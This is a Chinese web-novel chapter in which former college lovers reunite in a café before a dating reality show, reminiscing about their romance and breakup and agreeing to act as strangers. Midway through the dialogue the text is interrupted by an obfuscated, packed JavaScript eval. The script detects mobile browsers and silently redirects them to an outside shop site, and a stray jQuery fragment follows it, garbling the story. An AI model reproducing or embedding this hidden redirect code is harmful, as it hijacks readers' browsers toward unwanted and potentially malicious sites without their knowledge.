节目开始前一周,嘉宾备采。
摄影机架在角落里,红色指示灯亮着。
池未莱走进这家咖啡厅的时候,任珩已经坐在一楼的沙发上了,桌子上放着两杯水。
池未莱一进门就看见他了,径直走了过来。
他给她拉开座位,又重新坐回去后,看着她就这么安静地喝水,眼神有点复杂
“我以为你不会来。”
“我以为你也不会来。”
任珩笑了一下,她还是这样,闹别扭的时候喜欢说和对方一样的话。
“你看起来……和以前一样。”
“你倒是瘦了。”池未莱看着他的眼睛说。
他低头看了看自己。
两人在见面,曾经分开进行了事前采访,被PD问了一些关于过去那些事情的问题。
[两人是怎么在一起的?]
那是很久以前的画面,或许是一直在脑子里回想,池未莱至今仍觉得那一天的天空很蓝,树叶很绿,四周的颜色都很鲜艳。
池未莱:“正好社团招新,被学姐拉去看摊子,没过多久就看见有个很帅气的男生站在每个摊位上都认认真真地读社团的介绍。当时阳光从侧面打过来映着他的侧脸,他整个人都笼罩在光晕里,我的心刷一下子就突然怦怦跳了起来。我当时就想要做一件冲动的事,我特别想冲上去问他,同学,来我们社团吗?
PD:然后呢?
池未莱扶着额头笑:因为是校园里极为罕见的帅哥,我还没走上前,他就被围起来了。
另一边,任珩在个人前采的时候也说起了那一天。
“我记得那一天,她绑着高马尾,红色的蝴蝶结,在灰扑扑的体育场很鲜艳。可是她的摊子太远了,直接走过去有点奇怪,所以在四周翻翻看,想着装作不认路的样子去搭话问她是什么社团。”
任珩一脸无奈:“结果还没走过去,就被发传单的学长学姐们围起来,等结束后她已经不见了。”
PD:后来呢?
任珩:后来我打比赛,她和摄影社的一起过来给我们球队拍照,我趁着晚上聚餐的时候加了联系方式,想方设法约她出去玩。
[恋爱的时候印象最深刻的事情?]
“……刚在一起的时候。”池未莱甚至没有仔细回忆脱口而出,“那时候,我还不适应干什么身边都有一个人。有一次出门,那个教学楼的门很重很重,我第一下没推开,第二下自己使了很大的劲,他当时愣了一下。”
池未莱轻轻笑了,“后来下一次,他故意走得比我快,然后抢先一步把门拉开,回头跟我说,看见了吗?有男朋友了就要用。”
“后来想起他当时说那句话的表情,带着一点得意的笑,好像开门这件事,变成了一件很有成就感的事情。”
[分手的原因?]
这次池未莱沉默了好一会儿,说出这件事对她来说用了很大力气:“……那时候我还在摄影社,我和同社一个女生起了争执。那个人后来在朋友圈发了很难听的话,任珩也看到了,但他什么都没说,后来分手后,他还和那个女生一起参加过比赛。”
PD问:“这件事后来你们聊过吗?”
池未莱红了眼圈:“没有,我那时候……二十岁,不太会处理这种事,当场很生气,把他联系方式全部拉黑。他来找我也不不相见,我觉得我们已经分手了。后来再遇到他跟我打招呼我装作没有看见他无视他,再后来在学校里见面他连招呼都不和我打了。”
个人前采的时候,任珩低头沉默很久,最后只说了一句,“是我的错。”
[这次见到他,有预想过对方变成什么样子吗?]
“其实在分手后,我也有偷偷关注过她过得怎么样,看起来很好。”任珩笑了笑,白色的牙齿一晃,“她的性格很好,我相信她在哪里都能过得很好。”
池未莱想了想才说,“这些年我们都没有互相打听对方,也没有再见面。这时候才发现其实这个城市真的很大,不约好的话,真的就没有再见到的。我甚至不确定我还认不认识他......他十九岁的时候是什么样子,我记得很清楚。可现在的他……大概要见面的时候才知道了。”
“我比以前变得成熟了。”池未莱拳头藏在裙子下,她面对着镜头,语气很坚定,眼光有点闪着泪,“如果那件事重新来的话,我应该会做出更好的行动,而不是一味地指责他了。”
[任珩和池未莱,恋爱一年半,分手两年。]
两人在咖啡厅里坐着,有一搭没一搭地聊了几句。
听到池未莱说他瘦了,任珩这才察觉到时间在两人之间时间的流速。他们已经结束了学业,结束了无忧无虑的大学生活。
“瘦了吗?大概是现在不用打比赛了。”任珩把杯子转了一圈,盯着里面的透明液体说,“其实我犹豫了很久,签合同的那天晚上,差一点就反悔了。”
“那怎么后来没反悔?”池未莱用调皮的语气问。
任珩没立刻回答。
窗外有车按喇叭的背景音,声音很响。
“不知道……可能是想看看你过得好不好。”他用很慢的语速说。
池未莱没有说话。
两个人隔着一张桌子喝咖啡,这一段是多年不见的第一次自由对话,只有摄影机在旁边安静地转。
点了咖啡后,气氛看起来更放松了一点。
任珩先开口了,“之前在前采,被问到一个问题。”
“什么问题?”
“PD问我记不记得帮你开门的事。”
池未莱的动作停了一下。
他注意到了,但没有说什么,于是他抬起手,接过那杯服务员刚端上来的咖啡,推到她面前。
“我说记得。”他说,“我说那时候你还不习惯身边有人,我就故意每次走快一步。”
他看着池未莱,“你之前在上面,也说了这件事吧?”
说罢,他没有等她回答,自己感叹了一句,“……感觉过去好久了啊。”
池未莱没有接“嗯”,她只是拿起任珩推过来的那杯咖啡,喝了一小口。
过了一会儿,她开口了,嘴角含着笑,“不知道是不是因为刚刚PD问了以前的事,本来是想不起来的,现在见到了突然想起了很多。你还记得当时的你喜欢日料,然后吐槽我不吃生食的那件事吗?”
任珩笑了,他显然记得,“你还记得那个啊。”
“本来想不起来的,”池未莱哼了一声,耸了耸肩,“刚才在前采被问了以前的事,脑子里突然就冒出来了。”
“当时你去日料店只肯吃炒饭。”任珩说。
“嗯,那时候你觉得三文鱼是世界上最好吃的东西。我说我不吃生的,你一副‘你怎么这样啊’的表情。”池未莱模仿了一下那个表情,把任珩看得直笑。
“你知道我当时怎么想的吗?”任珩的身子往前倾了倾,眉眼仍带着一股少年意气,“我在想,完了,我的女朋友不吃三文鱼,以后怎么一起过日子。”
“就因为这个?”
“就因为这个。”他说得很认真,眼睛亮亮的,“十九二十岁的人,脑子就那么大。”
池未莱端着咖啡扑哧笑出了声。
“现在呢?”任珩问。
“现在什么?”
“现在吃三文鱼吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913060|213207||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“吃了,也不知道什么时候开始,突然就喜欢了。”
任珩居然没有说什么“你看吧我就说”之类的话,他只是平静地点了点头。
“还有健身房的事。”池未莱看着窗外路过的车辆,继续说着那些过去的分歧,“那时候我不陪你去健身房,你念叨了好久,说别人的女朋友都陪为什么你不陪。然后我不情不愿去了,就在旁边坐着自拍。”
“对。”任珩往后靠了靠,抱着手臂看着天花板,“我记得这件事,那天你拍了二十几张,角度都差不多,一直问我朋友圈发哪一张好。”
“你现在还要翻旧账?”
“没有啊,只是记得。”
“其实我拍了四十多张。”
“……啊?”
“嗯,还有二十多张照片是你的。”
任珩的表情有点惊讶,又有点错愕,他低声笑了两声,抬头看着天花板,使劲眨了几下眼睛。
然后他把视线从天花板上收回来,重新看着池未莱。
“所以你现在呢?”
“现在定期去健身房了,现在工作的话也是一直坐着,再不去不锻炼一下人就要废啦。”
他沉默了两秒,然后说:“挺好的。”
这三个字他说得轻飘飘的,如果是以前他一定会很夸张地说出这三个字。看来这五年里,大家好像都变成了更沉稳一点的人。
“……不过三文鱼还是你赢了。”池未莱笑着说。
“什么?”
“三文鱼确实好吃。”
他愣了一下。然后很轻地笑了一声,“对,不过我现在也没那么爱吃了,人真是奇怪。”
咖啡杯几乎见底了,然后池未莱说到了节目规则。
“知道。”他把杯子放回茶几上,动作很轻。
“进小屋之后,我们是假装是陌生人,第一天认识的那种。”
“嗯。”
“第一天互相介绍的时候,只能说名字和MBTI。”
“嗯。”
“对视太久会不会被看出来。”
“你别盯我太久就行。”池未莱嗔怪道。
他冲她挑眉,“你先管好你自己。”
空气安静了两秒。然后两个人同时笑了一下。
“五年没见了。”他收起笑意,语气变得认真了一些,“在几十台摄影机前面假装不认识,你觉得我们能演好吗?”
“那现在和你试一下?”池未莱把右手伸出来,“你好,我叫池未莱,今年二十五岁。”
她白皙修长的手掌摊开在他面前。
这只手,是以前他每次打完比赛后都会奔向的手。
也是这只手,在最后那场争吵中将他甩开了。
而他因为犹豫,失去了继续的机会。
这次他没有犹豫,直接就握住她的掌心。
“我叫任珩,二十二岁。”
握了两秒,他松开了。
“我叫任珩,你记住了吗?”他认真的表情好像两人真的是第一次见面。
池未莱收回手,她重新坐回沙发,点了点头不看他。
任珩站起来,“那就……小屋里见?”
“嗯。”池未莱在他转身的瞬间红了眼圈,感觉到他停下的时候立马偏过头去,假装没有要擦眼泪。
任珩转身往门口走,走了几步,又停下来。
但他并没有回头,他只是低声喊了一句。
“未莱。”
“嗯?”
“……没什么,到时候见。”
他推开门走出去。
门外的光线涌进来,任珩的背影在逆光里暗了一瞬,然后消失。